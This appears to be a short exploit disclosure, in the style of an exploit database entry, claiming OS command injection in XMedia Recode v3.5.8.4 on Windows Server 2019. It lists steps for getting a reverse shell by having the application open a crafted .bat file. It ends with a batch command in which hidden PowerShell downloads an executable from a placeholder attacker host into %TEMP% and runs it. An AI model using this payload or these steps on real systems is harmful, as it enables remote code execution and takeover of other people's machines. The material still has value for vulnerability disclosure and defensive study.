Exploit Title: XMedia Recode v3.5.8.4 - OS Command Injection

Discovered by: Ahmet Ümit BAYRAM

Discovered Date: 16.09.2023

Vendor Homepage: https://www.xmedia-recode.de

Software Link: https://www.xmedia-recode.de/download/XMediaRecode3584_setup.exe

Tested Version: v3.5.8.4 (latest)

Tested on: Windows 2019 Server 64bit

Steps to Reproduce

1. Create a .bat file that contains your reverse shell command.
2. Launch XMedia Recode.
3. Click on the Open button located at the bottom right.
4. Select the .bat file you created.
5. The reverse shell should now be active, connecting to your listener.

Example of Reverse Shell Command in .bat

To create a reverse shell in a .bat file, you can use the following command:

```batch @echo off powershell -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-WebRequest -Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process %TEMP%\shell.exe”